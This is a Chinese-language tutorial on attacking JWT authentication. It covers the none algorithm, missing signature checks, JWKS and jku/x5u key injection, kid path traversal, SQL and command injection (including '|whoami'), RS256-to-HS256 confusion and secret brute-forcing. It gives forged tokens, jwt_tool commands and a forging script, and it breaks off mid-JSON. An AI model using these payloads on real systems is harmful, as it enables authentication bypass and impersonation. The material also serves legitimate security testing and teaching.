JWT认证攻击详解总结


0x01 JWT基础知识

1.JWT简介
JWT全称为JSON Web Token,将json对象作为载体来传输信息。通常用于身份认证和信息交换。JWT 可以使用密钥(HMAC 算法)或使用 RSA 或 ECDSA 的公钥/私钥对自身进行签名
2.JWT格式
每当用户访问站点中的资源时,对应的请求头认证默认为Authorization: jwt,JTW令牌认证以eyJ开头
JWT的数据头部如下:
JWT的数据分为三部分:头部(Header),有效载荷(Payload),签名(Signature)
三个部分以英文句号.隔开,JWT的内容以Base64URL进行了编码
下面就是一个具体token的例子:
 eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
(1) 头部
头部中包含了JWT配置方面的信息,例如签名算法(alg),令牌类型(JWT)和,加密算法(alg)或者算法使用的密钥文件(当服务器需要多个密钥文件时使用)。
Header:  eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
base64解码:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}
其中令牌认证类型为JWT,加密算法为RS256
(2)有效载荷
有效载荷用于存储用户的数据,如用户名(test123)
Payload:  eyJzdWIiOiJkdWJoZTEyMyJ9

(3)签名
Signature 需要使用编码后的 header 和 payload 以及我们提供的一个密钥,然后使用 header 中指定的签名算法通常是RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法进行签名。签名的作用是保证 JWT 没有被篡改过

下面是一个用HS256生成Jw=WT的代码例子

HMACSHA256(base64Encode(header) + "." + base64urlEncode(payload),secret)
Signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

0x02 JWT常见安全问题


1.签名算法可被修改为none(CVE-2015-9235)
JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的
方式一:原有payload的数据不被改变基础上而进行未校验签名算法
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg 
https://jwt.io/
使用jwt_too进行攻击(该工具适用于不改变原有payload的数据的基础上而没有签名算法获得的token)
python3 jwt_tool.py    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg  -X a
得到签名算法为none认证的token
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.

使用得到的token 进行认证请求
方式二:原有payload的数据被改变基础上而进行没校验签名算法

 使用python3的pyjwt模块,修改payload中的数据,利用签名算法none漏洞,重新生成令牌

>>> import jwt

>>> encoded = jwt.encode({"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admin" }}, '', algorithm='none')

>>> encoded

'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.'

得到的toekn:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.

修复方案:JWT 配置应该只指定所需的签名算法

2.未校验签名
某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。
通过在线工具jwt.io修改payload数据

然后得到的token进行认证请求
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ.Sv4QGoIbSQSP7Yeha2Qbhk10za6z42UqdZuv1IUmPnU
或者删除signature,再次请求toekn认证:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ.

修复方案:JWT 配置应该只指定所需的签名算法

3.JWKS公钥 注入 ——伪造密钥(CVE-2018-0114)
创建一个新的 RSA 证书对,注入一个 JWKS 文件,攻击者可以使用新的私钥对令牌进行签名,将公钥包含在令牌中,然后让服务使用该密钥来验证令牌
攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw 


python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw      -X i

得到的token认证:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJqd3RfdG9vbCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjFQZDNGTXBFUVM0SU15WjJ4Tlh5UEJrdnRCWnBEZG8wakFGTEtwemdfSEM1ZE1vU3ZRR1pDWVpwZlJpMlpaTDZoUkNFNW9DUWRHeGd0MzZQZVV2MERhTG8zLVJacGtzcFhpT3QzWU00RDU3SDdvQllEWVExcFh1dHNBRzliaXJ6SENGM2l0alg1S0Zha2ljTkw5cGsySnloRDRTU1BoOUVQMkNQVHExMV9sV1o1N1ZacGFMdDJxLXB1THQ3SWNSYnhmbEhlaUZxRTlUSUtnRW1scExBVjBRajFiWEk3bVhMZEQxT0NyS2w0SDdqbEFlWG5LY0xQTEJnb2Y4RzBTeXRGSU1PN1BvQVpUZUVHVHJiZmktNlZKNGNrcUNfdjJYQUR1WHBTSU5mOFBrbXZXckdjTk1XaEEwVXZvcVJCdnFHR0ZBWnBRT2dhR1VUVktvdzJOTXllUSJ9fQ.eyJsb2dpbiI6InRpY2FycGkifQ.JGqsWHbZaas_4DAfbtkK-DOBpueDrWw3tZuBonKUleIoa_Ll6yMrwzvJ0RjqMH2hIlhKrixTce7RtJPiqEJAHv_5eMF5G3qkU2jDbM6Un19dlTRTBfCh3FIKMrkh1P-CUUw7AXO2cae1GWNvGK74d3VNulgBK5Qy4uZryrzJUO-7Dx5vHUfV3eJ8J-FRRFqDO_DYAjB7cbWHuB4RHcUkIwJ9Fz3ze5JIKMXrcmZIEvCssUxjaYIb7Rpm-lI34yWSQbOGA82glkt4xqjulZZqF7Eysu1Q3JNUqPiD24T1zrE7CHm3btpBzW4CSRPrs8z5E-GUgZApH_vodp3mLxa9tA

修复方案:JWT 配置应明确定义接受哪些公钥进行验证

4.空签名(CVE-2020-28042)
从令牌末尾删除签名
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw         -X n
得到的token认证:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.
修复方案:JWT 库应该针对这个问题进行修补

4.敏感信息泄露
JWT的header头base64解码可泄露敏感数据如密钥文件或者密码或者注入漏洞
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ

base64解码:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}
其中认证类型为JWT,加密算法为RS256,kid指定加密算法的密钥,密钥KID的路径为:keys/3c3c2ea1c3f113f649dc9389dd71b851k,
 则在 Web 根目录中查找 /key/3c3c2ea1c3f113f649dc9389dd71b851k 和 /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem




5.KID参数漏洞
(1)任意文件读取
密钥 ID (kid) 是一个可选header,是字符串类型,用于表示文件系统或数据库中存在的特定密钥,然后使用其内容来验证签名。如果有多个用于签署令牌的密钥,则此参数很有帮助,但如果它是可注入的,则可能很危险,因为攻击者可以指向内容可预测的特定文件。
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
  "typ": "JWT",
  "kid": "/etc/passwd",
  "alg": "HS256"
}
得到的token:
eyJ0eXAiOiJKV1QiLCJraWQiOiIvZXRjL3Bhc3N3ZCIsImFsZyI6IkhTMjU2In0.eyJsb2dpbiI6InRpY2FycGkifQ.CPsfiq-_MnwM7dF6ZZhWPl2IbKgF447Iw6_EgRp6PFQ
注意:
在 linux系统中/dev/null被称为空设备文件,并且总是不返回任何内容,可绕过进行任意文件读取
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256    -pc login  -pv "ticarpi"  
参数说明:
-I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 "../../dev/null",-pc 设置 payload 的申明变量名如:login,-pv 设置 申明变量login的值为 "ticarpi"
或者可以使用 Web 根目录中存在的任何文件,例如 CSS 或 JS,并使用其内容来验证签名。
python3 jwt_tool.py -I -hc Kid -hv "路径/of/the/file" -S hs256 -p "文件内容"


(2)SQL注入
kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
{
  "typ": "JWT",
  "kid": "key11111111' || union select 'secretkey' --",
  "alg": "HS256"
}
得到的token:
eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXkxMTExMTExMScgfHwgdW5pb24gc2VsZWN0ICdzZWNyZXRrZXknIC0tIiwiYWxnIjoiSFMyNTYifQ.eyJsb2dpbiI6InRpY2FycGkifQ.I2oD_v7UvBIqilLcyuqP_HDY28yp1IFZeTs90fk-Tdc
(3) 命令注入
对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
{
  "typ": "JWT",
  "kid": "keys/3c3c2ea1c3f113f649dc9389dd71b851k|whoami",
  "alg": "HS256"
}

得到的token:
eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxa3x3aG9hbWkiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.yRBA6iUYepL129lB3YL3FXYZ_ducatRLJnpdFiG9lf0

6.将加密算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555)
JWT最常用的两种算法是HMAC(非对称加密算法)和RSA(非对称加密算法)。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证
将算法RS256修改为HS256(非对称密码算法=>对称密码算法)
方式一:在原payload不被修改的基础上,并将算法RS256修改为HS256
python3 jwt_tool.py       eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.BOiukQghoC-t2nmM5w9SUZURv9sw0FNtmfbzirKi6EEvcqhcjTaeQF6-crCAjLxNoR84A_P8MY5mGL5ZrgDGTbfsXLbMawewaavG090FkvhCkWuPla95LJZsM0H2fFa9PpHruYmWUo9uBVRILpBXLtQDnznTPdbjwXleX3Yr0M4qEKDTPxQzO62O3vSizBm8hzgEnNkiLWPOqfTLXMBf4W0q_4V0A7tK0PoEuoVnsiB1AmHeml4ez2Ksr4m9AqAW52PgrCa9uBEICU3TlNRcXvmiTbmU_xU4W5Bu010SfpxHo3Bc8yEZvLOKC5xZ2zqUX3HJhA_4Bzxu0nmev13Yag -X k -pk public.pem
公钥文件下载:
https://raw.githubusercontent.com/Sjord/jwtdemo/master/public.pem
得到的token认证:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.E0GXzwsvGE7PY3r67VK6ur6zmIxGRurdOJ-92nv1UMI

方式二:在原payload被修改的基础上,并将算法RS256修改为HS256
通过以下脚本修改数据并重新生成token:
# coding=utf-8
import hmac
import hashlib
import base64

file = open('publickey.pem')    #需要将文中的publickey下载    与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admins" }}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)
最终得到的token:
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiAiaHR0cHM6Ly9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmwvIiwiaWF0IjogMTY2MjczNzk2NSwiZXhwIjogMTY2MjczOTE2NSwiZGF0YSI6IHsiaGVsbG8iOiAiYWRtaW5zIiB9fQ.HiooUWsZrH5mFlW2hokYny7fakVcOtkMgd7JsBT-1yY
注意:
查找公钥文件的方法
1.SSL 密钥重用

在某些情况下,令牌可能会使用网络服务器 SSL 连接的私钥进行签名。获取 x509 并从 SSL 中提取公钥:

$ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem
$ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
2.API 泄露公钥
为了验证令牌,服务可以通过 API 端点(例如/API/v1/keys)泄露公钥
3.JWKS 常用位置
  • /.well-known/jwks.json
  • /openid/connect/jwks.json
  • /jwks.json
  • /api/键
  • /api/v1/keys


修复方案:JWT 配置应该只允许 HMAC 算法或公钥算法,不允许两者同时存在

7.签名密钥可被爆破
HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE 

 python3 jwt_tool.py        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE  -C -d  /usr/share/wordlists/fasttrack.txt 
成功破解出密钥key为:secret,
获得的密钥key通过在线jwt.io在线修改数据,重新生成token

修改后的token:
 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.UXl0zzAMP_8eb7TcwYa0kXtd9lMzyeytA  BerT-Ljcvc


7.JWKS 劫持
此攻击使用“jku”和“x5u”标头值,它们指向用于验证非对称签名令牌的 JWKS 文件或 x509 证书(通常本身位于 JWKS 文件中)的 URL。通过将“jku”或“x5u”URL 替换为包含公钥的攻击者控制的 URL,攻击者可以使用配对的私钥对令牌进行签名,并让服务检索恶意公钥并验证令牌。
使用自动生成的 RSA 密钥并在提供的 URL (-ju) 处提供 JWKS  或将 URL 添加到 jwtconf.ini 配置文件中 ,并使用私钥对令牌进行签名:



Deconstructed:
{"typ":"JWT","alg":"RS256", "jku":"https://ticarpi.com/jwks.json"}.
{"login":"ticarpi"}.

生成的token认证:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.hwgF2BnpRgSBJ2gnGoo-Uv1DA33wc8Nxr59AuLneSIqEITGNvQofpp3n0Afd_97kPLcITqJo84_jxTACupicK8yKT-pA8C4isgPN9dXNfHoUDOyTyd_jiKjCXAv9fh5sXPcUJpf06ok-Sw7ZvAN0sD_jVJv6iksZ6yMkSsmjpYO7LPmJb99We465tbrhauNdKfY-pVQCtEGHwZYvrXEr0fSgq018QA_n7N6DvtjxqcAuG0HcmBSWyzmbzl-OegnkWLj1r4_9v3aMxU8Lohsvha9haHW1ShpBdZlijKqXSZ9FQ1dU96-JQsbqMqGHLlEQqLxMNIrUQs2Vc0EGUaWu9

修复方案:JWT 配置应明确定义允许哪些 JWKS 文件和URL进行认证访问


8.修改payload,重新令牌生成
使用已知密钥文件或者密码签署令牌
例如:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRpbWUifQ.2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA
可以通过在线jwt.io进行重新生成令牌

或者通过脚本也可以生成令牌
这里假如泄露了加密的蜜钥key为:1Kun
通过以下命令修改数据重新获得token:
没有jwt的先执行pip3 install pyjwt
>>> import jwt
>>> encoded = jwt.encode({'username': 'admin'}, '1Kun', algorithm='HS512')
>>>  encoded

最终的到修改后的token值:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.bEhwF8P7kpP5AWiSM73mQjfk2dV7xiQRu7uSM8I01y8L57Ewp4Ve0fE8tPp4U7rvM_OXy79mUqGWuETCtAiLBw

9.未校验签名的JWT的模糊测试

intruder_fuzz_01_addposition

intruder_fuzz_02_payloadprocessing

intruder_fuzz_03_start



10.重放JWT(token令牌不过期

如果特定令牌只能使用一次怎么办?让我们想象一个场景,当用户编写一个生成的令牌以执行我们API中的DELETE方法时。然后,例如1天后(理论上他不再拥有相应的权限)之后,他尝试再次使用它(所谓的重播攻击)。

为此,请使用以下声明:jti和exp。Jti(JWT ID)是令牌标识符,必须是唯一的,而exp是令牌到期日期的定义。这两个字段的组合将使我们在适当程度上缩短令牌的有效性及其唯一性。

因此 token 的令牌失效时间建议设置为2小时失效


11.JWK中JKU/X5U 注入

标题中 jku 和 x5u 都是放在 JWT Header 中的,使用 URL 方式用于提供密钥。目前 jku、x5u 问题产生在于没有严格限定 URL ,使得 Server 端随其请求其他 URL 的密钥验证 JWT。

(1) JKU注入

jku(JWK Set URL)表示把公钥放在 URL 中通过访问 URL 来获取密码进行签名,这样就可以灵活切换密钥。

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://example.com/jwks.json"
}

https://example.com/jwks.json 对应公钥类似下面格式,这组数据叫 jwks(JSON Web Key Set),意思是用 JSON 数据表示多个密钥,相对应单个密钥放入 JSON 就是 JWK。

{
    "keys": [
        {
            "alg": "RS256",
            "e": "AQAB",
            "kid": "5N0bTJKpSWJxDlgM86/ni8p4M/0Z6HyhG085sOr+y8w=",
            "kty": "RSA",
            "n": "gd1BjHCazeeSnCtJtK5CQHLi7pkmAihIvBWhUuSpNzgVrwsWzQspCQ9qRKsaZOtuJcbFJd0cgJYiO-egH-aheI8b2OIsi_VWjq9Gf2BkFk8ZyuErBJml6aJmf_o4lOblnbAN4Tw8_W5_SA0E3N_vU5Ay9ruCykKkiVShOejRJzqey58bcVmSv3aAggsY8_GuLWuSZ9BhWeuEwp-Dx3wsGknmES2NDoko4vtTHFb_p32B0G1YKYtoY-n3IligDGOghT_sFrjTXPBNn27gkFI-38soHTttShepXQYPDUaOJYyh7NovhoOCntRBlqeFgvtYfWj-iLj5ISeAhhn1Phuk1Q",
            "use": "sig"
        },
        {
            "alg": "RS256",
            "e": "AQAB",
            "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=",
            "kty": "RSA",
            "n": "iMydXmbxVDUWW7tkCmtLTpKfPRxdjtOtIhGxW9kKP7NId1-l2jh2kZ8aklOUk0r9hk62jrtfcpradtmL11INpH_mUfDD-F5f1BgNAIjcel5-eIVxzRKUbrBgifwFDwVFFs9G7n8XLX2eCopmtewg3xcSRwcVVYQeSY75KqgkWT9ngYmeSoG4He5AhmN0DpDoSUc4E_LCzqGaGoAHSGmr4Zrt3MAF_ewlaDUs55WM_5PzIxp5OvFxiVDl82QJ9acEjreiQ-9L7k2ujkZs8ZkgUTLFljGCr4A-Q2ylEndFFjwMBp3OMcd_BBGTb7zfDTAyZ6ogQPy_i3Vr7d5PA5DYUw",
            "use": "sig"
        }
    ]
}

JSON 中包含一个 keys 数组,里面放着两个公钥,它们 key name 都是一致,意思如下:

  • alg(Algorithm),同上表示使用啥算法。
  • e(Exponent),代表 RSA 公钥指数。
  • kid(Key ID),表示标识符,当在 JWT Header 中使用了 kid,而 JWKS 中也用了同样的 KID 值,这样就很容易告诉程序到底使用哪个公钥去验证签名。
  • kty(key type),表示使用什么加密算法,必须出现在 JWT 中。
  • n(Modulus),代表 RSA 模数。
  • use(Public Key Use),表示公钥用于干嘛,有两个值 sig(signature)和 enc(encryption),这里使用的是签名。

其余关于加密的 key 请查看 JWE

JKU 利用方法:原理是指定 jku header url 让 server 取我们指定的 key 验证。

利用步骤:

1.本地生成公私钥

 openssl genrsa -out keypair.pem 2048 # 生成 RSA 私钥
 openssl rsa -in keypair.pem -pubout -out publickey.crt # 生成公钥
 openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out privatekey.key # 生成私钥
2.篡改 JWT,使用本地生成的公钥和私钥通过在线网站http://jwt.io进行签名。
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.hwgF2BnpRgSBJ2gnGoo-Uv1DA33wc8Nxr59AuLneSIqEITGNvQofpp3n0Afd_97kPLcITqJo84_jxTACupicK8yKT-pA8C4isgPN9dXNfHoUDOyTyd_jiKjCXAv9fh5sXPcUJpf06ok-Sw7ZvAN0sD_jVJv6iksZ6yMkSsmjpYO7LPmJb99We465tbrhauNdKfY-pVQCtEGHwZYvrXEr0fSgq018QA_n7N6DvtjxqcAuG0HcmBSWyzmbzl-OegnkWLj1r4_9v3aMxU8Lohsvha9haHW1ShpBdZlijKqXSZ9FQ1dU96-JQsbqMqGHLlEQqLxMNIrUQs2Vc0EGUaWu9
访问服务器中的jwks.json的内容如下:
{
            "alg": "RS256",
            "e": "AQAB",
            "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=",
            "kty": "RSA",
            "n": "iMydXmbxVDUWW7tkCmtLTpKfPRxdjtOtIhGxW9kKP7NId1-l2jh2kZ8aklOUk0r9hk62jrtfcpradtmL11INpH_mUfDD-F5f1BgNAIjcel5-eIVxzRKUbrBgifwFDwVFFs9G7n8XLX2eCopmtewg3xcSRwcVVYQeSY75KqgkWT9ngYmeSoG4He5AhmN0DpDoSUc4E_LCzqGaGoAHSGmr4Zrt3MAF_ewlaDUs55WM_5PzIxp5OvFxiVDl82QJ9acEjreiQ-9L7k2ujkZs8ZkgUTLFljGCr4A-Q2ylEndFFjwMBp3OMcd_BBGTb7zfDTAyZ6ogQPy_i3Vr7d5PA5DYUw",
            "use": "sig"
}
本地生成的公钥和私钥内容如下:

将产生的public key完整得粘贴到公钥处,修改jku的地址为:http://www.backlion.com/jwks.json
得到伪造后的token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vd3d3LmJhY2tsaW9uLmNvbS9qd2tzLmpzb24ifQ.eyJsb2dpbiI6InRpY2FycGkifQ.Ty5uIOx8Q1nm45m5uR4RDXVvmQh6wziSkt_k4S104QuZe7lZ644e-D8IBoHoeKzBA1syeTdlmxt4dOXMTHvH_aL8lS9W74YW9KtjXviedtNu91T7FtCr3ABmluzHOMa6-rUSe0pPwi2tqZ6HhsNSe3_cfCLApjSk2BTRuu3G5YpIZhFTHCMENbp6OhCcnCdKISw-CzjNtPfY1BvWynW3A__HxAp2btmpXXx8GvX0uyT4wnl2UGFiPQgZFB1xjs7vE0467C9TbdPYy5fcH-1YcDLoUp_tK6lmCaDsfYvaVg44dbyPhnJDFko4xg2OzH3njmBtfyIKTSWL91_ZFwIYLg
3.下载应用 JWK 公钥文件jwks.json
4.对自己b本地生成的公钥 publickey.crt 使用下面脚本提取 n、e 参数
from Crypto.PublicKey import RSA

with open("publickey.crt", "r") as file:
     key = RSA.importKey(file.read())
     print("n:", hex(key.n))
     print("e:", hex(key.e))
n: 0xd9ebd4a8df4a79ad1ab274af04baf7631cea6bb18ca1a94299974983c47db0116a7ce0d088504b0481e3ff9db64ec75c8ba50c485e44b3c24df8c5bf27d41d55f40561ec0352e505ebd8935571c8df9d02cf73b83e1b2fe00334734bd5c67d113280c174f540dfca9b43909f935fb0c5cc940ff2c3207d7ad95d1bc75a4b99a32ab316be42dfeec82191a753bcfa7f6f801a458101f800b4a35597c46857b89b071b9b0231f8913f7c8b6c29c8197b201db62ce43598dc94f6ee7f2743356b5ddad3afd57f454e0532b499b642e89d6ff51f74635eee54eea7cd4715b3b868896e489e8dea9ad78a8a3a48fb51aa130f6e5a1b4ba9a18645a6e2a1acb16fdc4f
e: 0x10001
将本地获取到的n和e分别替换JWK 公钥文件jwks.json中的n和e ,得到伪造后的的jwks.json文件
{
            "alg": "RS256",
            "e": "10001",
            "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=",
            "kty": "RSA",
